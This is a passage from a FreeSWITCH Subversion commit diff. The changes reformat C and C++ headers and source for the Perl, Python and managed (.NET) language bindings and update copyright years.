</span><del>- S_HUP = (1 << 0),
- S_FREE = (1 << 1),
- S_RDLOCK = (1 << 2)
</del><ins>+        S_HUP = (1 << 0),
+        S_FREE = (1 << 1),
+        S_RDLOCK = (1 << 2)
</ins><span class="cx"> } session_flag_t;
</span><span class="cx">
</span><span class="cx"> class Stream {
</span><del>- protected:
- switch_stream_handle_t mystream;
- switch_stream_handle_t *stream_p;
- int mine;
- public:
- Stream(void);
- Stream(switch_stream_handle_t *);
- virtual ~Stream();
- void write(const char *data);
- const char *get_data(void);
</del><ins>+ protected:
+        switch_stream_handle_t mystream;
+        switch_stream_handle_t *stream_p;
+        int mine;
+ public:
+         Stream(void);
+         Stream(switch_stream_handle_t *);
+         virtual ~ Stream();
+        void write(const char *data);
+        const char *get_data(void);
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> class Event {
</span><del>- protected:
- public:
- switch_event_t *event;
- char *serialized_string;
- int mine;
</del><ins>+ protected:
+ public:
+        switch_event_t *event;
+        char *serialized_string;
+        int mine;
</ins><span class="cx">
</span><del>- Event(const char *type, const char *subclass_name = NULL);
- Event(switch_event_t *wrap_me, int free_me=0);
- virtual ~Event();
- const char *serialize(const char *format=NULL);
- bool setPriority(switch_priority_t priority = SWITCH_PRIORITY_NORMAL);
- char *getHeader(char *header_name);
- char *getBody(void);
- char *getType(void);
- bool addBody(const char *value);
- bool addHeader(const char *header_name, const char *value);
- bool delHeader(const char *header_name);
- bool fire(void);
</del><ins>+         Event(const char *type, const char *subclass_name = NULL);
+         Event(switch_event_t *wrap_me, int free_me = 0);
+         virtual ~ Event();
+        const char *serialize(const char *format = NULL);
+        bool setPriority(switch_priority_t priority = SWITCH_PRIORITY_NORMAL);
+        char *getHeader(char *header_name);
+        char *getBody(void);
+        char *getType(void);
+        bool addBody(const char *value);
+        bool addHeader(const char *header_name, const char *value);
+        bool delHeader(const char *header_name);
+        bool fire(void);
</ins><span class="cx">
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> class CoreSession {
</span><del>- protected:
- switch_input_args_t args;
</del><ins>+ protected:
+        switch_input_args_t args;
</ins><span class="cx">
</span><del>- switch_input_args_t *ap;
- switch_caller_profile_t caller_profile;
</del><ins>+        switch_input_args_t *ap;
+        switch_caller_profile_t caller_profile;
</ins><span class="cx">
</span><del>- char *uuid;
- char *tts_name;
- char *voice_name;
- void store_file_handle(switch_file_handle_t *fh);
- void *on_hangup;
- switch_file_handle_t local_fh;
- switch_file_handle_t *fhp;
- switch_status_t process_callback_result(char *ret);
- public:
- CoreSession();
- CoreSession(char *uuid);
- CoreSession(switch_core_session_t *new_session);
- virtual ~CoreSession();
- switch_core_session_t *session;
- switch_channel_t *channel;
- unsigned int flags;
- int allocated;
- input_callback_state cb_state;
</del><ins>+        char *uuid;
+        char *tts_name;
+        char *voice_name;
+        void store_file_handle(switch_file_handle_t *fh);
+        void *on_hangup;
+        switch_file_handle_t local_fh;
+        switch_file_handle_t *fhp;
+        switch_status_t process_callback_result(char *ret);
+ public:
+         CoreSession();
+         CoreSession(char *uuid);
+         CoreSession(switch_core_session_t *new_session);
+         virtual ~ CoreSession();
+        switch_core_session_t *session;
+        switch_channel_t *channel;
+        unsigned int flags;
+        int allocated;
+        input_callback_state cb_state;
</ins><span class="cx">
</span><del>- switch_channel_state_t hook_state;
</del><ins>+        switch_channel_state_t hook_state;
</ins><span class="cx">
</span><del>- int answer();
- int preAnswer();
- virtual void hangup(char *cause = "normal_clearing");
- void setVariable(char *var, char *val);
- void setPrivate(char *var, void *val);
- void *getPrivate(char *var);
- const char *getVariable(char *var);
- int recordFile(char *file_name, int max_len=0, int silence_threshold=0, int silence_secs=0);
</del><ins>+        int answer();
+        int preAnswer();
+        virtual void hangup(char *cause = "normal_clearing");
+        void setVariable(char *var, char *val);
+        void setPrivate(char *var, void *val);
+        void *getPrivate(char *var);
+        const char *getVariable(char *var);
+        int recordFile(char *file_name, int max_len = 0, int silence_threshold = 0, int silence_secs = 0);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- void setCallerData(char *var, char *val);
- int originate(CoreSession *a_leg_session,
- char *dest,
- int timeout=60);
- void setDTMFCallback(void *cbfunc, char *funcargs);
</del><ins>+        void setCallerData(char *var, char *val);
+        int originate(CoreSession * a_leg_session, char *dest, int timeout = 60);
+        void setDTMFCallback(void *cbfunc, char *funcargs);
</ins><span class="cx">
</span><del>- int speak(char *text);
- void set_tts_parms(char *tts_name, char *voice_name);
</del><ins>+        int speak(char *text);
+        void set_tts_parms(char *tts_name, char *voice_name);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- int collectDigits(int timeout);
- int getDigits(char *dtmf_buf,
- switch_size_t buflen,
- switch_size_t maxdigits,
- char *terminators,
- char *terminator,
- int timeout);
</del><ins>+        int collectDigits(int timeout);
+        int getDigits(char *dtmf_buf, switch_size_t buflen, switch_size_t maxdigits, char *terminators, char *terminator, int timeout);
</ins><span class="cx">
</span><del>- int transfer(char *extensions, char *dialplan, char *context);
- int playAndGetDigits(int min_digits,
- int max_digits,
- int max_tries,
- int timeout,
- char *terminators,
- char *audio_files,
- char *bad_input_audio_files,
- char *dtmf_buf,
- char *digits_regex);
- int streamFile(char *file, int starting_sample_count=0);
</del><ins>+        int transfer(char *extensions, char *dialplan, char *context);
+        int playAndGetDigits(int min_digits,
+                                                 int max_digits,
+                                                 int max_tries,
+                                                 int timeout, char *terminators, char *audio_files, char *bad_input_audio_files, char *dtmf_buf, char *digits_regex);
+        int streamFile(char *file, int starting_sample_count = 0);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- int flushEvents();
</del><ins>+        int flushEvents();
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- int flushDigits();
</del><ins>+        int flushDigits();
</ins><span class="cx">
</span><del>- int setAutoHangup(bool val);
</del><ins>+        int setAutoHangup(bool val);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- void setHangupHook(void *hangup_func);
</del><ins>+        void setHangupHook(void *hangup_func);
</ins><span class="cx">
</span><del>- bool ready();
</del><ins>+        bool ready();
</ins><span class="cx">
</span><del>- void execute(char *app, char *data);
</del><ins>+        void execute(char *app, char *data);
</ins><span class="cx">
</span><del>- void sendEvent(Event *sendME);
</del><ins>+        void sendEvent(Event * sendME);
</ins><span class="cx">
</span><del>- virtual bool begin_allow_threads() = 0;
- virtual bool end_allow_threads() = 0;
</del><ins>+        virtual bool begin_allow_threads() = 0;
+        virtual bool end_allow_threads() = 0;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- char* get_uuid() const { return uuid; };
</del><ins>+        char *get_uuid() const {
+                return uuid;
+        };
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- const switch_input_args_t& get_cb_args() const { return args; };
</del><ins>+        const switch_input_args_t &get_cb_args() const {
+                return args;
+        };
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- virtual void check_hangup_hook() = 0;
</del><ins>+        virtual void check_hangup_hook() = 0;
</ins><span class="cx">
</span><del>- virtual switch_status_t run_dtmf_callback(void *input,
- switch_input_type_t itype) = 0;
</del><ins>+        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype) = 0;
</ins><span class="cx">
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -180,7 +171,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-void bridge(CoreSession &session_a, CoreSession &session_b);
</del><ins>+void bridge(CoreSession & session_a, CoreSession & session_b);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -189,8 +180,4 @@
</span><span class="cx">
</span><span class="cx"> switch_status_t hanguphook(switch_core_session_t *session);
</span><span class="cx">
</span><del>-switch_status_t dtmf_callback(switch_core_session_t *session,
- void *input,
- switch_input_type_t itype,
- void *buf,
- unsigned int buflen);
</del><ins>+switch_status_t dtmf_callback(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen);
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_managedfreeswitch_managedh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_managed/freeswitch_managed.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -34,13 +34,11 @@
</span><span class="cx"> #define FREESWITCH_MANAGED_H
</span><span class="cx">
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><del>-
</del><span class="cx"> #include <switch.h>
</span><span class="cx"> #include <switch_cpp.h>
</span><ins>+typedef void (*hangupFunction) (void);
+typedef char *(*inputFunction) (void *, switch_input_type_t);
</ins><span class="cx">
</span><del>-typedef void (*hangupFunction)(void);
-typedef char* (*inputFunction)(void*, switch_input_type_t);
-
</del><span class="cx"> #ifndef _MANAGED
</span><span class="cx"> #include <glib.h>
</span><span class="cx"> #include <mono/jit/jit.h>
</span><span class="lines">@@ -79,58 +77,109 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> SWITCH_END_EXTERN_C
</span><del>-
</del><span class="cx"> #ifdef _MANAGED
</span><span class="cx"> // this section remove linker error LNK4248 for these opaque structures
</span><del>-        struct switch_core_session {char foo[];};
-        struct apr_pool_t {char foo[];};
-        struct switch_channel {char foo[];};
-        struct apr_thread_t {char foo[];};
-        struct switch_hash {char foo[];};
-        struct apr_thread_mutex_t {char foo[];};
-        struct switch_network_list {char foo[];};
-        struct switch_xml_binding {char foo[];};
-        struct apr_sockaddr_t {char foo[];};
-        struct switch_core_port_allocator {char foo[];};
-        struct switch_media_bug {char foo[];};
-        struct switch_rtp {char foo[];};
-        struct sqlite3_stmt {char foo[];};
-        struct switch_buffer {char foo[];};
-        struct switch_ivr_menu {char foo[];};
-        struct switch_event_node {char foo[];};
-        struct switch_ivr_digit_stream_parser {char foo[];};
-        struct sqlite3 {char foo[];};
-        struct switch_ivr_digit_stream {char foo[];};
-        struct real_pcre {char foo[];};
-        struct HashElem {char foo[];};
-        struct switch_ivr_menu_xml_ctx {char foo[];};
-        struct apr_file_t {char foo[];};
-        struct apr_thread_rwlock_t {char foo[];};
-        struct apr_pollfd_t {char foo[];};
-        struct apr_queue_t {char foo[];};
-        struct apr_socket_t {char foo[];};
</del><ins>+        struct switch_core_session {
+        char foo[];
+};
+struct apr_pool_t {
+        char foo[];
+};
+struct switch_channel {
+        char foo[];
+};
+struct apr_thread_t {
+        char foo[];
+};
+struct switch_hash {
+        char foo[];
+};
+struct apr_thread_mutex_t {
+        char foo[];
+};
+struct switch_network_list {
+        char foo[];
+};
+struct switch_xml_binding {
+        char foo[];
+};
+struct apr_sockaddr_t {
+        char foo[];
+};
+struct switch_core_port_allocator {
+        char foo[];
+};
+struct switch_media_bug {
+        char foo[];
+};
+struct switch_rtp {
+        char foo[];
+};
+struct sqlite3_stmt {
+        char foo[];
+};
+struct switch_buffer {
+        char foo[];
+};
+struct switch_ivr_menu {
+        char foo[];
+};
+struct switch_event_node {
+        char foo[];
+};
+struct switch_ivr_digit_stream_parser {
+        char foo[];
+};
+struct sqlite3 {
+        char foo[];
+};
+struct switch_ivr_digit_stream {
+        char foo[];
+};
+struct real_pcre {
+        char foo[];
+};
+struct HashElem {
+        char foo[];
+};
+struct switch_ivr_menu_xml_ctx {
+        char foo[];
+};
+struct apr_file_t {
+        char foo[];
+};
+struct apr_thread_rwlock_t {
+        char foo[];
+};
+struct apr_pollfd_t {
+        char foo[];
+};
+struct apr_queue_t {
+        char foo[];
+};
+struct apr_socket_t {
+        char foo[];
+};
</ins><span class="cx"> // LNK Error
</span><span class="cx">
</span><span class="cx"> using namespace System;
</span><span class="cx"> using namespace System::Reflection;
</span><span class="cx"> using namespace System::Runtime::InteropServices;
</span><span class="cx">
</span><del>-public ref class FreeSwitchManaged
-{
-public:
-        static Assembly^ mod_dotnet_managed;
-        static MethodInfo^ loadMethod;
</del><ins>+public ref class FreeSwitchManaged {
+ public:
+        static Assembly ^ mod_dotnet_managed;
+        static MethodInfo ^ loadMethod;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-class ManagedSession : public CoreSession
-{
-public:
</del><ins>+class ManagedSession:public CoreSession {
+ public:
</ins><span class="cx">         ManagedSession(void);
</span><span class="cx">         ManagedSession(char *uuid);
</span><span class="cx">         ManagedSession(switch_core_session_t *session);
</span><del>-        virtual ~ManagedSession();
</del><ins>+        virtual ~ ManagedSession();
</ins><span class="cx">
</span><span class="cx">         virtual bool begin_allow_threads();
</span><span class="cx">         virtual bool end_allow_threads();
</span><span class="lines">@@ -138,8 +187,8 @@
</span><span class="cx">         virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
</span><span class="cx">
</span><span class="cx">         // P/Invoke function pointer to delegates
</span><del>-        inputFunction dtmfDelegate;
-        hangupFunction hangupDelegate;
</del><ins>+        inputFunction dtmfDelegate;
+        hangupFunction hangupDelegate;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_perlfreeswitch_perlh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -14,41 +14,39 @@
</span><span class="cx"> #include <perl.h>
</span><span class="cx"> #include <switch.h>
</span><span class="cx"> }
</span><del>-
</del><span class="cx"> #include <switch_cpp.h>
</span><del>-
</del><span class="cx"> namespace PERL {
</span><del>-class Session : public CoreSession {
- private:
-        virtual void do_hangup_hook();
-        PerlInterpreter *getPERL();
-        PerlInterpreter *my_perl;
-        int hh;
-        int mark;
-        SV *me;
- public:
- Session();
- Session(char *uuid, CoreSession *a_leg = NULL);
- Session(switch_core_session_t *session);
- ~Session();
</del><ins>+        class Session:public CoreSession {
+         private:
+                virtual void do_hangup_hook();
+                PerlInterpreter *getPERL();
+                PerlInterpreter *my_perl;
+                int hh;
+                int mark;
+                SV *me;
+         public:
+                 Session();
+                 Session(char *uuid, CoreSession * a_leg = NULL);
+                 Session(switch_core_session_t *session);
+                 ~Session();
</ins><span class="cx">
</span><del>-        virtual void destroy(void);        
-        virtual bool begin_allow_threads();
-        virtual bool end_allow_threads();
-        virtual void check_hangup_hook();
</del><ins>+                virtual void destroy(void);
+                virtual bool begin_allow_threads();
+                virtual bool end_allow_threads();
+                virtual void check_hangup_hook();
</ins><span class="cx">
</span><del>-        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
-        void setME(SV *p);
-        void setInputCallback(char *cbfunc = "on_input", char *funcargs = NULL);
-        void unsetInputCallback(void);
-        void setHangupHook(char *func, char *arg=NULL);
-        bool ready();
-        char *suuid;
-        char *cb_function;
-        char *cb_arg;
-        char *hangup_func_str;
-        char *hangup_func_arg;
-        void setPERL(PerlInterpreter *pi);
-};
</del><ins>+                virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+                void setME(SV * p);
+                void setInputCallback(char *cbfunc = "on_input", char *funcargs = NULL);
+                void unsetInputCallback(void);
+                void setHangupHook(char *func, char *arg = NULL);
+                bool ready();
+                char *suuid;
+                char *cb_function;
+                char *cb_arg;
+                char *hangup_func_str;
+                char *hangup_func_arg;
+                void setPERL(PerlInterpreter * pi);
+        };
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_perlmod_perlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -282,7 +282,7 @@
</span><span class="cx">         if (po->d) {
</span><span class="cx">                 free(po);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_perlmod_perl_extrah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,9 +1,7 @@
</span><span class="cx"> #ifndef MOD_PERL_EXTRA
</span><span class="cx"> #define MOD_PERL_EXTRA
</span><del>-SWITCH_BEGIN_EXTERN_C
</del><ins>+SWITCH_BEGIN_EXTERN_C void mod_perl_conjure_event(PerlInterpreter * my_perl, switch_event_t *event, const char *name);
+void mod_perl_conjure_stream(PerlInterpreter * my_perl, switch_stream_handle_t *stream, const char *name);
</ins><span class="cx">
</span><del>-void mod_perl_conjure_event(PerlInterpreter *my_perl, switch_event_t *event, const char *name);
-void mod_perl_conjure_stream(PerlInterpreter *my_perl, switch_stream_handle_t *stream, const char *name);
-
</del><span class="cx"> SWITCH_END_EXTERN_C
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonfreeswitch_pythonh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -5,47 +5,45 @@
</span><span class="cx"> #include <Python.h>
</span><span class="cx"> #include "mod_python_extra.h"
</span><span class="cx"> }
</span><del>-
</del><span class="cx"> #include <switch_cpp.h>
</span><del>-
</del><span class="cx"> namespace PYTHON {
</span><del>-class Session : public CoreSession {
- private:
-        virtual void do_hangup_hook();
-        PyObject *getPython();
-        PyObject *Py;
-        PyObject *Self;
-        int hh;
-        int mark;
-        PyThreadState *TS;
- public:
- Session();
- Session(char *nuuid, CoreSession *a_leg = NULL);
- Session(switch_core_session_t *session);
- virtual ~Session();
-        
-        virtual bool begin_allow_threads();
-        virtual bool end_allow_threads();
-        virtual void check_hangup_hook();
-        virtual void destroy(void);
</del><ins>+        class Session:public CoreSession {
+         private:
+                virtual void do_hangup_hook();
+                PyObject *getPython();
+                PyObject *Py;
+                PyObject *Self;
+                int hh;
+                int mark;
+                PyThreadState *TS;
+         public:
+                 Session();
+                 Session(char *nuuid, CoreSession * a_leg = NULL);
+                 Session(switch_core_session_t *session);
+                 virtual ~ Session();
</ins><span class="cx">
</span><del>-        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
-        void setInputCallback(PyObject *cbfunc, PyObject *funcargs = NULL);
-        void unsetInputCallback(void);
-        void setHangupHook(PyObject *pyfunc, PyObject *arg = NULL);
-        bool ready();
-        
-        PyObject *cb_function;
-        PyObject *cb_arg;
-        PyObject *hangup_func;
-        PyObject *hangup_func_arg;
</del><ins>+                virtual bool begin_allow_threads();
+                virtual bool end_allow_threads();
+                virtual void check_hangup_hook();
+                virtual void destroy(void);
</ins><span class="cx">
</span><del>-        /* keep a pointer to parent module, internal use only*/
-        void setPython(PyObject *state);
</del><ins>+                virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+                void setInputCallback(PyObject * cbfunc, PyObject * funcargs = NULL);
+                void unsetInputCallback(void);
+                void setHangupHook(PyObject * pyfunc, PyObject * arg = NULL);
+                bool ready();
</ins><span class="cx">
</span><del>-        /* keeps the PyObject * version of the Session so it can be used as args to the callback */
-        void setSelf(PyObject *state);
</del><ins>+                PyObject *cb_function;
+                PyObject *cb_arg;
+                PyObject *hangup_func;
+                PyObject *hangup_func_arg;
</ins><span class="cx">
</span><del>-};
</del><ins>+                /* keep a pointer to parent module, internal use only */
+                void setPython(PyObject * state);
+
+                /* keeps the PyObject * version of the Session so it can be used as args to the callback */
+                void setSelf(PyObject * state);
+
+        };
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonmod_pythonc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/mod_python.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -61,7 +61,7 @@
</span><span class="cx"> } globals;
</span><span class="cx">
</span><span class="cx"> struct switch_py_thread {
</span><del>-        struct switch_py_thread *prev, *next;
</del><ins>+        struct switch_py_thread *prev, *next;
</ins><span class="cx">         char *cmd;
</span><span class="cx">         char *args;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="lines">@@ -70,7 +70,8 @@
</span><span class="cx"> struct switch_py_thread *thread_pool_head = NULL;
</span><span class="cx"> static switch_mutex_t *THREAD_POOL_LOCK = NULL;
</span><span class="cx">
</span><del>-static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params, char **str, struct switch_py_thread *pt)
</del><ins>+static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params,
+                                                         char **str, struct switch_py_thread *pt)
</ins><span class="cx"> {
</span><span class="cx">         PyThreadState *tstate = NULL;
</span><span class="cx">         char *dupargs = NULL;
</span><span class="lines">@@ -103,7 +104,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         script = strdup(switch_str_nil(argv[0]));
</span><del>-        
</del><ins>+
</ins><span class="cx">         lead = 1;
</span><span class="cx">
</span><span class="cx">         if ((p = strstr(script, "::"))) {
</span><span class="lines">@@ -115,13 +116,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Invoking py module: %s\n", script);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tstate = PyThreadState_New(mainThreadState->interp);
</span><span class="cx">         if (!tstate) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "error acquiring tstate\n");
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Save state in thread struct so we can terminate it later if needed */
</span><span class="cx">         if (pt)
</span><span class="cx">                 pt->tstate = tstate;
</span><span class="lines">@@ -146,9 +147,8 @@
</span><span class="cx">                 PyErr_Clear();
</span><span class="cx">                 goto done_swap_out;
</span><span class="cx">         }
</span><del>-
</del><span class="cx">         // get the handler function to be called
</span><del>-        function = PyObject_GetAttrString(module, (char *)funcname);
</del><ins>+        function = PyObject_GetAttrString(module, (char *) funcname);
</ins><span class="cx">         if (!function) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Module does not define %s\n", funcname);
</span><span class="cx">                 PyErr_Print();
</span><span class="lines">@@ -183,13 +183,13 @@
</span><span class="cx">         } else {
</span><span class="cx">                 arg = Py_BuildValue("(s)", switch_str_nil(argv[1]));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         // invoke the handler
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Call python script \n");
</span><span class="cx">         result = PyEval_CallObjectWithKeywords(function, arg, (PyObject *) NULL);
</span><span class="cx">         Py_DECREF(function);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Finished calling python script \n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         // check the result and print out any errors
</span><span class="cx">         if (result) {
</span><span class="cx">                 if (str) {
</span><span class="lines">@@ -204,25 +204,25 @@
</span><span class="cx">                 PyGC_Collect();
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done_swap_out:
</del><ins>+ done_swap_out:
</ins><span class="cx">
</span><span class="cx">         if (arg) {
</span><span class="cx">                 Py_DECREF(arg);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sp) {
</span><span class="cx">                 Py_DECREF(sp);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tstate) {
</span><span class="cx">                 // thread state must be cleared explicitly or we'll get memory leaks
</span><span class="cx">                 PyThreadState_Clear(tstate);
</span><span class="cx">                 PyEval_ReleaseThread(tstate);
</span><span class="cx">                 PyThreadState_Delete(tstate);
</span><span class="cx">         }
</span><del>-        
- done:
</del><span class="cx">
</span><ins>+ done:
+
</ins><span class="cx">         switch_safe_free(dupargs);
</span><span class="cx">         switch_safe_free(script);
</span><span class="cx">
</span><span class="lines">@@ -231,7 +231,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> static switch_xml_t python_fetch(const char *section,
</span><del>-                                                         const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</del><ins>+                                                                 const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         switch_xml_t xml = NULL;
</span><span class="lines">@@ -300,20 +300,20 @@
</span><span class="cx"> * we must decrease the default python recursion limit accordingly. Otherwise, python can easily blow
</span><span class="cx"> * up the stack and the whole switch crashes. See modlang-134
</span><span class="cx"> */
</span><del>-static void set_max_recursion_depth(void) {
</del><ins>+static void set_max_recursion_depth(void)
+{
</ins><span class="cx">
</span><span class="cx">         // assume that a stack frame is approximately 1K, so divide thread stack size (eg, 240K) by
</span><span class="cx">         // 1K to get the approx number of stack frames we can hold before blowing up.
</span><span class="cx">         int newMaxRecursionDepth = SWITCH_THREAD_STACKSIZE / 1024;
</span><del>-        
</del><ins>+
</ins><span class="cx">         PyObject *sysModule = PyImport_ImportModule("sys");
</span><span class="cx">         PyObject *setRecursionLimit = PyObject_GetAttrString(sysModule, "setrecursionlimit");
</span><del>-        PyObject *recLimit = Py_BuildValue("(i)",newMaxRecursionDepth);
</del><ins>+        PyObject *recLimit = Py_BuildValue("(i)", newMaxRecursionDepth);
</ins><span class="cx">         PyObject *setrecursion_result = PyEval_CallObjectWithKeywords(setRecursionLimit, recLimit, (PyObject *) NULL);
</span><span class="cx">         if (setrecursion_result) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set python recursion limit to %d\n", newMaxRecursionDepth);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set recursion limit to %d\n", newMaxRecursionDepth);
</span><span class="cx">                 PyErr_Print();
</span><span class="cx">                 PyErr_Clear();
</span><span class="lines">@@ -365,7 +365,7 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(api_python)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         eval_some_python("fsapi", (char *) cmd, session, stream, NULL, NULL, NULL);
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -430,7 +430,7 @@
</span><span class="cx">
</span><span class="cx">                 // initialize python system
</span><span class="cx">                 Py_Initialize();
</span><del>-                
</del><ins>+
</ins><span class="cx">                 // create GIL and a threadstate
</span><span class="cx">                 PyEval_InitThreads();
</span><span class="cx">
</span><span class="lines">@@ -479,12 +479,11 @@
</span><span class="cx">         pt = thread_pool_head;
</span><span class="cx">         PyEval_AcquireLock();
</span><span class="cx">         while (pt) {
</span><del>-                thread_cnt ++;
